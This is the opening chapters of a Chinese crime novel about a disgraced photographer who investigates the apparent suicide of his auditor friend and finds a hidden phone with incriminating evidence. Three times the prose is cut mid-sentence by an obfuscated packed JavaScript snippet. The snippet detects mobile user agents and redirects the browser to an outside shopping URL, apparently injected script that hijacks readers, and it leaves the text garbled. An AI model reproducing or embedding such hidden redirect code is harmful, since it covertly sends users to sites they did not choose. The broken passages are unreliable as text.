《越陷越深的烂人》 1. 唯一的朋友自杀了 我叫沈默,三十五岁,前知名媒体摄影师,现无业游民。今天我要去参加一个葬礼,一个最最最普通的人,一个被定性为“自杀”离开这个社会的人。 殡仪馆永远弥漫着一种混合了消毒水、香烛和某种难以名状的、类似于陈旧书籍受潮后散发出的甜腻腐朽气味。这种气味不刺鼻,却无孔不入,它附着在你的衣服纤维里,钻进你的鼻腔深处,像一个冰冷的幽灵,提醒你此行的目的——告别。 告别谁?顾远。我唯一的,或许也是最后一个,能称之为朋友的人。 我站在告别厅最偏僻的角落,背靠着一根冰凉的大理石柱,仿佛这样才能从这庞大而虚伪的悲伤中汲取一点支撑。空气凝滞,只有哀乐像粘稠的油污一样在室内缓缓流淌,裹挟着压抑的啜泣和叹息。眼前是一片晃动的黑色,男男女女,大多穿着不合身的、租来的黑色西装或套裙,脸上挂着标准化的悲戚。像一群被输入了统一程序的黑色企鹅,在名为“葬礼”的舞台上,进行着最后一场集体演出。 顾远的遗照挂在正前方,黑白色调也掩不住他那张总是带着点戏谑笑意的脸。照片选得不错,是他三十岁生日时我给他拍的,嘴角微扬,眼神里透着对这个世界略带嘲讽的温柔。可现在,这张脸被放大,装裱在沉重的相框里,成了这场表演最核心的道具。 我下意识地去摸口袋里的烟盒,指尖触碰到冰冷的金属外壳,又缩了回来。在这里抽烟,大概会被顾远那位一辈子讲究体面的母亲,用眼神凌迟处死。 体面。多么可笑的一个词。 顾远现在就躺在前方那个铺满白色鲜花的开放式棺椁里,化了妆,穿着他生前最讨厌的那套、据说价值不菲的定制西装,表情安详得象是在拍某部高档床垫广告。他们把他打理得一丝不苟,连头发都梳成了他平时绝不会梳的、光滑得能摔死苍蝇的大背头。这就是他们给他的“体面”。一种死了之后,由别人强行赋予的、与本人意愿毫无关系的装饰品。 我看着他,心里想的却是上周,就在他那间乱得像被轰炸过的出租屋里,我们盘腿坐在地板上,就着一碟花生米和半只廉价的烤鸭喝酒。电视里放着无聊的动物世界,画面里一群企鹅在冰天雪地里挤作一团,摇摇晃晃。 顾远突然指着屏幕,一本正经地说:“默哥,你知道企鹅为什么不会摔倒吗?” 我灌了一口啤酒,懒得搭话。他总是有这些莫名其妙的冷知识。 他自顾自地接着说:“因为它们走路的时候,会用肚子贴着地面滑行,相当于自带了一个低重心的稳定系统。但是,”他顿了顿,拿起一颗花生米精准地抛进嘴里,“一旦它们抬起头,想看看远方的风景,就很容易失去平衡,啪唧,摔个四脚朝天。” 他看着我,眼睛在昏暗的灯光下亮得惊人:“所以啊,在这个操蛋的世界里,想不摔倒,就得一直低着头,盯着自己脚下那一亩三分地。别抬头,别去看那些你够不着的东西,比如……真相,比如……正义。” 他说这话时,脸上带着笑,但那笑容底下,有一种我那时没能完全理解的、混合了疲惫和某种决绝的东西。现在回想起来,那或许是他最后的预警,用一种他特有的、插科打诨的方式。 “企鹅的冷笑话。”我低声嘟囔了一句,嘴角扯出一个近乎痉挛的弧度,象是在笑,却比哭更难看。周围投来几道不满的目光,大概觉得我在这种场合发笑,实在是亵渎死者,泯灭人性。 泯灭人性?我差点真的笑出声。看看这里吧,看看这场精心编排的告别仪式,哪一样不是对人性的最大嘲讽? 我掏出手机,一款用了三年、屏幕边缘已经裂出蛛网纹的旧型号。解锁,打开相机应用。我想拍下这一幕,拍下这巨大的、集体的虚伪。镜头缓缓移动,掠过一张张或真或假悲伤的脸,最后定格在顾远的遗体上。透过冰冷的电子屏幕,他显得那么陌生,那么遥远。然后,镜头不可避免地扫到了屏幕边缘,映出了我自己的半张脸——苍白,浮肿,眼袋深重,眼神里是挥之不去的犬儒和……空洞。 我猛地按熄了屏幕。原来,镜头里那个比躺在棺材里的顾远更像一具行尸走肉的,是我自己。 司仪用那种被职业化训练出的、饱含深情又抑扬顿挫的嗓音,开始回顾顾远“短暂而灿烂”的一生。多么优秀的青年,多么尽责的员工,多么孝顺的儿子……词汇华丽而空洞,像一篇精心打磨的公关稿,试图将顾远的一生浓缩成几个光鲜亮丽的标签,然后贴上封条,存入历史的垃圾堆。 我的目光越过人群,落在前排那个哭得肩膀耸动、被几个女眷搀扶着的妇人身上。那是顾远的母亲。她的悲伤应该是真的,白发人送黑发人,这痛苦做不了假。但即使是她,此刻也被裹挟在这场表演里,成了其中一个重要的悲伤符号。 然后,我看到了那个人——顾远的直属领导,远大集团审计部的部门经理,一个姓王的、脑满肠肥的中年男人。他正站在顾远母亲身边,一边用手帕擦拭着根本没有泪水的眼角,一边用另一只手轻轻拍着顾母的后背,嘴唇翕动,似乎在说着节哀顺变之类的套话。 我的胃里一阵翻腾。就是这个人,在上周的公司内部会议上,刚刚因为一个无关紧要的报表错误,把顾远骂得狗血淋头,言辞刻薄得象是在对待一个有着血海深仇的敌人。据说,顾远“自杀”前接到的最后一个工作电话,就是这位王经理打来的,催促他尽快完成某个项目的“最终审计报告”。 而现在,他在这里,扮演着一个痛失爱将、体恤下属的悲情领导。他的悲伤,像他油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016438|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光锃亮的额头一样,泛着一种令人作呕的、精心打磨过的光泽。那哭声,那表情,那姿态,都精准地控制在“足够悲伤以示关怀,又不至于失态影响形象”的尺度内。像极了他在考核下属KPI时,那种精确到小数点后两位的冷酷。 “像极了KPI。”我听见自己心里那个刻薄的声音再次响起,“连悲伤都能量化考核,这他妈的就是成年人的世界。” 人群开始缓缓移动,进行最后的绕棺告别。我站在原地没动。我无法忍受靠近那个被鲜花和谎言包围的棺椁,无法忍受去看那个被“打扮”得面目全非的顾远。那不是我认识的顾远。我认识的顾远,会穿着洗得发白的T恤,会因为一个烂笑话笑得前仰后合,会在我被整个行业封杀、穷困潦倒的时候,偷偷把他一半的工资转给我,还嘴硬说是借给我的,等老子发达了要还。 那样的顾远,已经死了。死得不明不白。官方结论是“高空坠落”,排除他杀。一个前途光明的青年才俊,因为“工作压力过大”,选择在一个深夜,从他自己参与审计过的、远大集团旗下某栋在建的、四十层高的写字楼顶楼,一跃而下。 工作压力过大?狗屁。顾远或许有压力,但他绝不是会被压力压垮的人。他骨子里有种近乎愚蠢的执拗,一种对“对错”近乎偏执的坚持。这在他所处的那个位置,在那个巨大的、吞噬一切的利益机器里,本身就是一种原罪。 我记得他曾有一次喝多了,红着眼睛对我说:“默哥,账本不只是数字,那是一座城市的良心。数字会说话,它们在哭,在喊冤,只是大多数人装作听不见。” 我当时嘲笑他:“得了吧,顾大审计师,你的良心值几个钱?能当饭吃还是能当房住?” 他看着我,眼神复杂,最后只是摇了摇头,把杯里的酒一饮而尽:“你说得对,不值钱。所以活该我这样的烂人,被这些东西折磨。” 现在想来,他那不是在抱怨,那是一种无力回天后的自嘲。他看到了太多“不该看”的东西,听到了太多“不该听”的哭声。而在这个世界上,看到和听到,本身就是一种罪。 绕棺的队伍渐渐稀疏。王经理搀扶着顾远的母亲,向宾客们致意。他的目光偶尔扫过角落里的我,带着一丝不易察觉的审视和……警惕?或许是我的错觉。我一个失了业的破摄影师,在他眼里,大概和路边的一摊狗屎没什么区别,不值得浪费任何情绪。 葬礼终于接近尾声。人们开始三三两两地离开,低声交谈着,表情也渐渐从程序化的悲伤中解脱出来,恢复了平日的淡漠,甚至隐约带着一种“完成了一项麻烦社交任务”后的轻松。几个顾远的远房亲戚已经在商量着中午去哪家饭店吃“解秽酒”。生活就是这样,无论死了谁,太阳照常升起,饭照样要吃。 2. 太阳照常升起 人群像退潮般从我身边流过。黑色的人影相□□头,低声交换着毫无意义的安慰,然后迅速钻进各自或豪华或普通的车里,引擎发动,载着他们回归那个被称为“生活”的轨道。没有人多看角落里的我一眼。我像一块被遗忘在岸边的礁石,冰冷,坚硬,与这温情的退场格格不入。 顾远的母亲被亲戚搀扶着,上了一辆黑色的轿车。在她弯腰进入车内的瞬间,我看到了她侧脸上那无法伪装的、被抽空了所有精神的空洞。那是一种比嚎啕大哭更令人心碎的悲伤。王经理站在车旁,一手扶着车门顶框,姿态殷勤而得体,仿佛在完成某项重要的商务礼仪。车窗缓缓升起,隔绝了内外两个世界。他转身,脸上那点程序化的悲戚瞬间褪去,恢复了平日里的精明与冷漠,甚至带着一丝不易察觉的、处理完麻烦事的轻松。他整理了一下领带,目光随意地扫过四周,与我的视线有瞬间的交汇。那眼神里没有任何内容,像看一块石头,一片落叶,随即移开,大步走向另一辆价值不菲的轿车。 很好。世界恢复正常了。悲伤是限量供应的奢侈品,只在特定的时间、特定的地点,对特定的人展示。现在,表演结束,大家各回各位,该争名争名,该逐利逐利。 我摸了摸口袋,终于掏出了那盒皱巴巴的香烟。廉价牌子,味道呛人,但够劲。抽出一支,叼在嘴上,用那个印着俗艳美女广告的塑料打火机点燃。深吸一口,辛辣的烟雾涌入肺部,带来一丝虚假的暖意和熟悉的麻痹感。尼古丁是我这种烂人能负担得起的、最有效的镇痛剂。 就在这时,口袋里的手机不合时宜地、执拗地震动起来,打破了这片刻的、自欺欺人的宁静。不是短信,是电话。屏幕上跳动着一个没有存储却依稀有些印象的号码——是那个房东,那个更年期提前了至少二十年的女人。 我盯着那串数字,像盯着一条吐着信子的毒蛇。犹豫了几秒,还是按下了接听键。逃避解决不了问题,只会让下一次的催逼更加猛烈。这是我用无数次惨痛教训换来的、关于这个城市生存法则的微不足道的经验之一。 “喂?”我的声音干涩沙哑,带着刚抽过烟的浑浊。 “沈先生!”电话那头立刻炸开一道尖利的女高音,像指甲刮过生锈的铁皮,瞬间刺穿了我的耳膜,“你到底怎么回事啊?!上个月的房租拖到现在!电话不接短信不回!你想怎么样?把我这房子当慈善收容所了是吧?!” 我把手机拿得离耳朵远了些,目光空洞地看着马路对面殡仪馆那冰冷的水泥外墙。墙上爬满了干枯的藤蔓,像无数绝望的手臂。 “我告诉你沈默!”她的语速快得像机关枪,根本不给我插嘴的余地,“别给我装死!今天!就今天!要是再见不到钱,你就给我卷铺盖滚蛋!你的那些破烂玩意儿,我直接给你扔到大街上去!听见没有?!” 背景音里还夹杂着小孩的哭闹和电视里吵闹的动画片声音,构成了一个混乱而真实的、属于“生活”的嘈杂背景板。在她的世界里,房租是天大的事,比一个陌生人的死亡重要得多。从某种角度说,她是对的。 “听见了。”我吐出三个字,声音低得几乎被马路上的车流声淹没。 “听见了就赶紧去弄钱!一个大男人,有手有脚的,整天游手好闲,像什么样子!我当初真是瞎了眼才把房子租给你这种人……”她还在喋喋不休地数落着,将生活中所有的不如意,似乎都倾泻到了我这个拖欠房租的“失败者”头上。 我没再听下去,直接掐断了电话。世界瞬间清净了,只剩下耳鸣般的嗡嗡声,和胸腔里那颗缓慢跳动、仿佛也沾染了粘滞污垢的心脏。 我仰起头,对着铅灰色的、毫无生气的天空,吐出一口长长的烟雾。烟雾扭曲着上升,然后被微风吹散,消失得无影无踪,就像顾远的存在,就像我们曾经有过的、那些微不足道的理想和坚持。 我转过身,面向殡仪馆的方向。告别厅的门已经关上,那个写有“顾远先生告别仪式”的临时指示牌也被工作人员取了下来。一切痕迹都在被迅速抹去。只有空气里,似乎还残留着一丝若有若无的、属于顾远的气息,或者,那只是我的幻觉。 我举起夹着香烟的手,朝着那个空荡荡的方向,虚虚地敬了一下,象是在完成一个无人见证的、荒诞的告别仪式。 “兄弟,你看,”我对着那并不存在的黑白照片,声音嘶哑,带着浓重的嘲讽和更深的疲惫,“这就是你用命……或者说,他们让你用命去守护的世界?连他妈的放个屁,都要事先称好分量,看看能不能折现,抵掉几分钱的房租。” 这句话像一颗冰冷的石子,投入我心口的枯井,连回音都没有。只有无尽的、下坠的虚空。 是啊,这个世界运转得如此“高效”。悲伤有时限,友谊会过期,良心是负资产,而活着,就是一场永无止境的、精确到小数点后两位的算计。计算收入,计算支出,计算人情往来,计算每一步的得失利弊。像一台精密的机器,容不得半点情绪的、非理性的误差。 顾远,那个曾经和我一样,对这套规则嗤之以鼻的混蛋,最终却被这台机器碾碎了。是因为他不够“精明”?还是因为他看到了太多机器内部肮脏的齿轮和绞肉机般的结构? 而我呢?沈默。一个三十五岁,除了会按快门,几乎一无是处的男人。我的相机,曾经试图记录这个时代的疯狂与悲伤,记录那些被光鲜表象掩盖的疮疤和脓疮。然后呢?我记录下了“不该记录”的东西——一张某个大人物在夜总会后巷,与毒品贩子交易的照片。不是刻意跟踪,只是偶然。但偶然,在这种时候,就是原罪。 于是,我的职业生涯戛然而止。来自各方面的“压力”像无形的巨手,轻易地掐灭了我所有的发表渠道和工作机会。警告是隐晦而明确的:管住你的镜头,管住你的嘴,否则,后果自负。 我从一个略有潜力的新闻摄影师,变成了一个靠拍些“城市废墟美学”—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016439|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说白了,就是那些拆迁到一半的残垣断壁、废弃工厂的锈蚀管道、流浪汉在桥洞下的临时居所——来换取微薄稿费的边缘人。美其名曰“记录城市的另一面”,实际上,不过是将这座城市的腐烂和绝望,包装成一种可供消费的、带有病态美感的视觉商品,贩卖给那些住在空调恒温的玻璃大厦里、需要一点“残酷诗意”来刺激麻木神经的中产阶级。 我靠展示“腐烂”为生。我自己,也在这日复一日的浸染中,从内到外,慢慢地腐烂。我不是悲剧英雄,我连反抗都谈不上。我只是……还活着。用一种最低能耗的方式,苟延残喘。像阴沟里的一块苔藓,不需要阳光,只需要一点污浊的水分就能存活。这本身,就是他妈的一个天大的笑话。 香烟燃到了尽头,灼热的过滤嘴烫到了手指。我猛地一哆嗦,将烟蒂扔在地上,用鞋底狠狠碾灭,仿佛碾死一只令人厌恶的虫子。 接下来去哪儿?回那个位于城市最混乱嘈杂的城中村、只有十平米、白天也需要开灯、墙壁上永远渗着可疑水渍的出租屋?去面对房东那张写满刻薄和不耐烦的脸?还是去找那些所谓的“朋友”,看看有没有什么零散的、能换点钱的拍摄活儿? 一阵强烈的恶心和眩晕袭来。我扶住旁边冰冷的路灯杆,胃里空得发疼,却没有任何食欲。酒精的味道似乎还残留在口腔里,混合着烟草的苦涩和殡仪馆那特有的气味,形成一种令人作呕的鸡尾酒。 我想起顾远最后一次找我喝酒时,塞给我的那个信封。里面是两千块钱。他什么也没说,只是拍拍我的肩膀:“先拿着,应应急。等你小子发达了,连本带利还我。” 他那时的眼神,没有怜悯,只有一种兄弟间心照不宣的默契。他知道我的窘迫,但他用了一种最能保全我那点可怜自尊的方式。 现在,这钱还没花完,他人已经不在了。这笔钱,像一块烧红的烙铁,揣在我的口袋里,烫得我坐立不安。 我直起身,深吸了一口这污浊的空气,迈开脚步,漫无目的地沿着人行道往前走。车流如织,人群熙攘。每个人都行色匆匆,脸上带着被生活驱赶的麻木或焦虑。高楼大厦的玻璃幕墙反射着惨白的天光,像无数只冷漠的眼睛,俯视着地面上这些蝼蚁般的生命。 阳光偶尔挣扎着穿透云层,投下短暂而无力光斑,很快又被更厚的阴云吞噬。就像某些微弱的、关于正义和真相的念头,刚刚在心底冒头,就被更庞大的、现实的黑暗所淹没。 我就是一个笑话。一个活着的、行走的、充满了失败和妥协的笑话。顾远的死,或许是他对这个笑话世界最后的、最激烈的嘲讽。而我,连嘲讽的力气都快没有了。 我只是继续走着,像一具被抽走了灵魂的躯壳,融入这庞大城市无边无际的、灰色的背景之中。前方是什么?不知道。也不重要了。 或许,就这样一直走下去,走到世界的尽头,或者,走到我这个人形笑话彻底磨损、消散的那一刻。 3. 遗物 回到那间十平米的出租屋,像钻回一个潮湿、散发着霉味的贝壳。门外是城中村永不停歇的嘈杂:小贩的叫卖、孩子的哭闹、麻将牌的碰撞声、夫妻的争吵……各种声音混杂成一股污浊的声浪,拍打着薄薄的、仿佛一推就倒的房门。但这喧嚣反而成为一种掩护,将我与外面那个“正常”的世界隔离开来。 屋内更是惨不忍睹。唯一的窗户对着另一面斑驳的墙壁,光线吝啬地挤进来,让一切都蒙上一层灰败的调子。墙壁上,因为连日阴雨,渗出的水渍晕染出诡异的地图形案,像某种不祥的预言。一张吱呀作响的旧床,一个掉漆的衣柜,一张堆满了杂物的破桌子,还有角落里堆放着的我的“宝贝”——几个塞满了胶卷和旧照片的纸箱,以及几台早已淘汰、但被我像守财奴一样珍藏的老相机。这就是我的全部家当,一个失败者堡垒的所有库存。 葬礼上那种冰冷的、被精心包装过的悲伤,在这里被稀释成了更具体、更磨人的焦虑——房东的催债,空瘪的钱包,以及胃里那种因为长期饮食不规律而产生的、熟悉的灼烧感。我把自己摔进那张唯一的、弹簧已经失去弹性的旧椅子里,连开灯的欲望都没有。黑暗很适合我,像一件裹在身上的、熟悉的破旧外衣。 就在这时,我的目光落在了墙角一个不起眼的纸箱上。那是顾远的东西。 大概半个月前,他提过来的。当时他脸色有些疲惫,但眼神里还带着惯有的、那种看透世事的调侃。他说他老婆——那个我从未见过面,只在他偶尔的抱怨中知道是个极其注重“生活品质”的女人——正在疯狂地给家里做“断舍离”,清理一切“无用”的旧物。他这个箱子里的,都是些大学时代的“破烂回忆”,舍不得扔,又不敢带回家,只好暂时寄存在我这个“垃圾回收站”。 他当时拍着箱子,笑着说:“默哥,替我保管好。这里面可都是我的黑历史,万一哪天我挂了,你得负责把它们销毁,别让我的一世英名毁于一旦。” 当时我只当是个玩笑。我们之间经常开这种没轻没重的玩笑。死亡、破产、戴绿帽……都是我们互相攻击的常规弹药。谁能想到,一语成谶。 现在,这个纸箱就安静地待在角落里,像一个沉默的、等待着被开启的潘多拉魔盒。 警察来过。在顾远死后,他们例行公事地检查了他的办公桌和家里的物品。据说,他们也粗略地翻看过这个箱子,得出的结论是“一些私人杂物和旧电子设备,无调查价值”。是啊,在那些穿着制服的、看惯了生死和罪恶的人眼里,一个“自杀者”留下的、与工作无关的私人回忆,能有什么价值呢? 但我了解顾远。他不是一个会轻易放弃生命的人。哪怕压力再大,他骨子里也有一种属于小市民的、顽强的韧性,像石缝里的杂草,可以弯腰,但很难折断。更重要的是,他把这个箱子交给我时,那种半开玩笑的语气底下,似乎隐藏着一丝……托付?或者说,是一种未雨绸缪的谨慎? 一种莫名的冲动驱使着我。我站起身,走到墙角,拖出了那个纸箱。不重。打开,上面是一些零散的东西:几本卷了边的旧小说,一个早已停产的MP3播放器,几盒落满了灰的磁带,几本写满了潦草字迹的课堂笔记。底下,是一些旧衣服,散发着淡淡的樟脑丸和时光的味道。 我一件件地翻看着,指尖触碰到的,是顾远已经凝固的青春。真他妈讽刺居然还有一本《百年孤独》,书页泛黄,里面夹着一张我们俩在大学篮球场上的合影,照片上的我们勾肩搭背,笑得没心没肺,阳光刺眼。那时我们相信未来有无限可能,相信正义和友情是世界上最坚硬的东西。我继续往下翻,手指触到了一个硬硬的、方形的物体。拨开覆盖在上面的旧毛衣,一部手机静静地躺在箱底。 那不是顾远平时用的最新款智能手机。这是一部老式的、带物理键盘的功能机,诺基亚某个早已停产的型号,黑色的外壳上布满了划痕,边角甚至有些掉漆。像上个时代的遗物,沉默而固执。 我的心跳莫名地漏跳了一拍。警察说检查过他的物品,包括电子设备。但他们大概率只会关注他正在使用的主力手机。谁会特意去注意一部早已被淘汰、看起来毫无价值的旧手机呢?甚至可能,它当时就没放在显眼的位置,是被顾远刻意藏在衣服下面的。 我拿起这部手机。很轻,塑料外壳冰凉。我尝试着按下开机键。屏幕亮了一下,显示出电量不足的图标,然后迅速暗了下去。没电了。 我在箱子里翻找,果然找到一个与之配套的老式充电器,接口都已经有些氧化发黑。接上电源,插在墙角的插座上。充电指示灯亮起了微弱的红光,像垂死之人最后的脉搏。 等待充电的时间变得异常漫长。窗外的喧嚣似乎也安静了下来,只有墙壁上那个老旧的时钟,发出单调而清晰的“滴答”声,每一秒都敲打在我的神经上。屋内的黑暗变得浓稠,仿佛有无数双看不见的眼睛在注视着我,注视着这部正在缓慢恢复生机的旧手机。 我点起一支烟,烟雾在黑暗中缭绕,像不安的幽灵。脑子里闪过无数念头。顾远为什么特意留下这部手机?里面有什么?是他不愿被妻子看到的私人秘密?比如,某个旧情人?还是……与他的死有关的东西? “高空坠落……工作压力……”官方结论像冰冷的铅块,压在我的心头。但我脑海里浮现的,却是顾远最后那次喝酒时,提到“账本”、“良心”时,那混合着疲惫和某种决绝的眼神。 大约半小时后,指示灯变成了绿色。我拔下充电器,深吸一口气,再次按下了开机键。 熟悉的诺基亚开机画面和音乐响起,在这寂静的房间里,显得格外突兀和……诡异。仿佛一个早已被宣告死亡的人,突然又睁开了眼睛。 手机桌面很干净,只有几个最基本的图标:电话、短信、通讯录、文件管理……像一部刚刚恢复出厂设置的手机。 我点开通讯录,空的。短信收件箱和发件箱,也是空的。通话记录,同样空空如也。太干净了。干净得不像一部被使用过的手机,更像一个被精心擦拭过的舞台。难道真的只是一部备用的、早已不用的旧手机?是我多心了?失望像细小的冰针,刺穿着我那点可笑的、自以为是的期待。 我不甘心。手指在粗糙的物理键盘上无意识地滑动,点开了“文件管理”。里面同样看似空无一物。但就在我准备退出时,眼角余光瞥见了一个极其隐蔽的选项—隐藏文件夹。 心脏猛地收缩了一下。需要密码。我尝试输入顾远的生日,他妻子的生日,他常用的几个密码组合……错误。全部错误。屏幕上冰冷的“密码错误”提示,象是一种嘲弄。 我靠在椅背上,闭上眼睛,强迫自己冷静下来。顾远会把密码设成什么?一个只有他知道,或者,只有极少数人知道的东西? 大学宿舍号?这个念头毫无征兆地跳了出来。我们住在同一间宿舍,四年。那是我们友谊开始的地方,也是我们最肆无忌惮、最接近理想的年代。那串数字,像烙印一样刻在记忆里:7栋,314室。 我坐直身体,手指因为一种混合了紧张和莫名兴奋的情绪而微微颤抖。我缓缓地在密码输入框里,键入了:7314。 按下确认键的瞬间,时间仿佛凝固了。屏幕闪烁了一下,没有出现“密码错误”的提示。隐藏文件夹的图标,像幽灵般缓缓浮现了出来。 破解了!我感觉自己的呼吸变得粗重。点开那个文件夹,里面只有两个文件:一段音频文件,没有命名,格式是古老的AMR;还有一张图片文件,同样是默认名称。没有遗书,没有长篇大论的控诉,只有这两个沉默的数字碎片。 我先点开了那张图片。图片像素不高,带着老照片特有的模糊和噪点。色彩有些失真,但依然能清晰地辨认出画面中的两个人。 背景是一栋废弃的、尚未完工的楼房,水泥框架裸露着,像一具被剥去皮肉的巨大骨架。楼体上挂着破烂的防护网,在风中飘荡。地面上堆满了建筑垃圾和杂草。典型的,二十年前遍布这座城市周边、后来又在各种“旧城改造”和“地产开发”浪潮中被迅速推平的那种烂尾楼。我甚至隐约觉得这地方有些眼熟,似乎在哪里见过,但一时想不起来。 画面中央,站着一男一女。 男人很年轻,看起来不到三十岁,穿着那个年代流行的、略显土气的西装,梳着油光锃亮的分头。但他的眼神,却有着与年龄不符的锐利和……野心。那张脸,虽然青涩,但我绝不会认错——赵承德。如今叱咤风云、经常出现在财经杂志封面和慈善晚宴上的远大集团董事长,赵承德。 而依偎在他身边的那个女人……我瞳孔骤然收缩。是苏晚。 照片里的她,更加年轻,几乎还是个少女的模样,穿着朴素的连衣裙,梳着麻花辫,脸上带着一种怯生生的、我见犹怜的柔弱。但她的眼睛,那双即使在低像素的照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个男声冷笑起来,笑声像毒蛇滑过冰面,“顾远,你太天真了。这座城市,就是在火上建立起来的。我们不是玩火的人,我们就是火本身。要么被我们温暖,要么被我们烧成灰烬。没有第三条路。” 短暂的沉默,只有顾远粗重的喘息声。 “那份账本……”顾远的声音低了下去,带着一种绝望的挣扎,“……在哪里?” “这不是你该关心的问题。”男声变得极其危险,“忘掉你看到的一切,继续做你那个前途无量的审计师。否则……” “否则怎么样?杀了我?”顾远似乎豁出去了,语气里带着一种破罐子破摔的嘲弄。 “杀你?”男声轻蔑地哼了一声,“那太便宜你了,也太麻烦。我们可以让你身败名裂,让你的家人永无宁日。想想你那个刚上小学的儿子,想想你费尽心思维持的、体面的家。顾远,你不是一个人。你扛不起的。”录音在这里戛然而止。只剩下沙沙的电流噪音,在死寂的房间里空洞地回响。 我僵在椅子上,浑身冰冷,仿佛血液都在一瞬间凝固了。“地下的东西”……“不能动的账本”……“沾着血的利润”……“杀你?那太便宜你了”…… 每一个词,都像一把冰冷的凿子,狠狠地凿击着我的理智和认知。顾远不是自杀。他是被逼死的。因为他发现了不该发现的秘密,触碰了不能触碰的底线。那个冰冷的男声,那个代表着“火”的势力,用他最在乎的家人,用他好不容易维系的一切,将他逼上了绝路。 而这张照片……苏晚和赵承德……二十年前的烂尾楼……这背后又隐藏着怎样一段肮脏的、不为人知的历史?顾远保存它,是为了什么?是作为某种证据?还是因为它本身就与那个“不能动的账本”有关?恐惧,像无数冰冷的藤蔓,从脚底缠绕而上,勒紧我的心脏,我的喉咙。我大口喘息,却感觉不到一丝氧气。 我下意识地环顾这间黑暗、破败的出租屋。窗外是城中村永恒的、代表着“生”的喧嚣。但此刻,这一切都仿佛隔着一层厚厚的、透明的屏障。我所在的这个小小的空间,已经被一种无形的、巨大的、充满恶意的阴影所笼罩。 我窥探到了深渊的一角。而那深渊,似乎也同时……凝视着我。顾远的死,不是结束。仅仅是一个开始。一个将我,这个原本只想苟活在腐烂边缘的烂人,强行拖入更黑暗漩涡的开始。 我关掉了手机屏幕,将它紧紧攥在手心,冰冷的金属外壳硌得掌心生疼。那里面,藏着足以将我,以及我所剩无几的一切,都烧成灰烬的……火焰的种子。 而我,该怎么办? 4. 半岛铁盒 那部旧手机像一块灼热的炭,揣在我破烂牛仔裤的口袋里,沉甸甸地烫着大腿外侧的皮肤。连续几个晚上,我都在失眠与噩梦中辗转反侧。闭上眼睛,就是顾远扭曲的脸,就是那个冰冷男声的威胁,就是苏晚和赵承德在那栋烂尾楼前诡异的合影。白天,我则像一具被抽空了灵魂的躯壳,在出租屋里焦躁地踱步,或者对着窗外那片如今看来充满恶意的城市光芒发呆。 “找出真相。” 这个念头没有随着时间流逝而淡化,反而像某种恶性毒素,在我血液里扎根、蔓延,腐蚀着我仅存的那点苟且偷安的理智。我知道这是自寻死路,我知道前方是更深的黑暗,但我停不下来。顾远最后那绝望的质问,像一根无形的绳索,套在我的脖子上,缓慢而坚定地收紧。 我必须做点什么。哪怕只是为了证明,他妈的这个世界还没有彻底烂透,哪怕只是为了证明,他顾远的死,至少还有一个人记得真相,哪怕这个人,是个像我一样的烂人。 行动,是对抗无边恐惧和虚无的唯一方式,哪怕这行动本身,就是一场飞蛾扑火。 我再次调出那段音频,将耳朵紧紧贴在听筒上,屏蔽掉窗外城中村的一切杂音,反复聆听。背景噪音,顾远呼吸的频率,那个陌生男人话语间的每一个微妙停顿……像强迫症患者一样,试图从这些碎片中榨取更多信息。 “……老地方,铁盒。”这5个字,在嘈杂的电流底噪中,异常清晰。 “老地方”。我和顾远的“老地方”不多。大学时代,我们最常去的,是学校后山那个废弃的防空洞。那还是上世纪“深挖洞、广积粮”年代留下的遗迹,后来被遗忘了,成了我们这些荷尔蒙过剩、又对现实略带不满的年轻人,逃避枯燥课堂和宣泄情绪的秘密基地。我们在里面喝过廉价的啤酒,抽过第一口呛人的香烟,对着斑驳的墙壁谈论过遥不可及的女孩和虚无缥缈的未来。那里埋葬着我们最后一点、还算干净的青春。 毕业后,各奔东西,为生活奔波,再也没去过。但“老地方”这个称谓,在我们之间,特指那里。 铁盒。是什么铁盒?顾远在里面藏了东西?是那个“不能动的账本”的副本?还是其他更关键的证据? 一股混合着恐惧和微弱希望的冲动攫住了我。我必须去那里看看。 我那辆不知道转了几手、漆面剥落得像得了皮肤病的破旧捷达,停在楼下,几乎要被周围更破烂的杂物淹没。拉开车门,一股混合着机油、灰尘和某种食物腐败的气味扑面而来。方向盘上裹着的皮套已经磨损得露出了里面的海绵。插上钥匙,拧动,发动机发出一阵嘶哑、沉闷的咳嗽声,像垂死老人的喉咙,响了七八下,才极不情愿地、带着全身零件松动的颤抖,勉强启动。 驶出迷宫般的城中村,汇入城市主干道的车流。上午的阳光有些刺眼,透过布满灰尘和虫尸的前挡风玻璃,变得朦胧而扭曲。高楼大厦的玻璃幕墙反射着冰冷的光,街道两旁的行人神色匆匆,脸上挂着被生活驱赶的麻木。一切看似正常,秩序井然。但我却感觉自己像一个潜入者,驾驶着这辆与周遭格格不入的破车,驶向一个隐藏在城市光鲜表皮下的、溃烂的脓包。 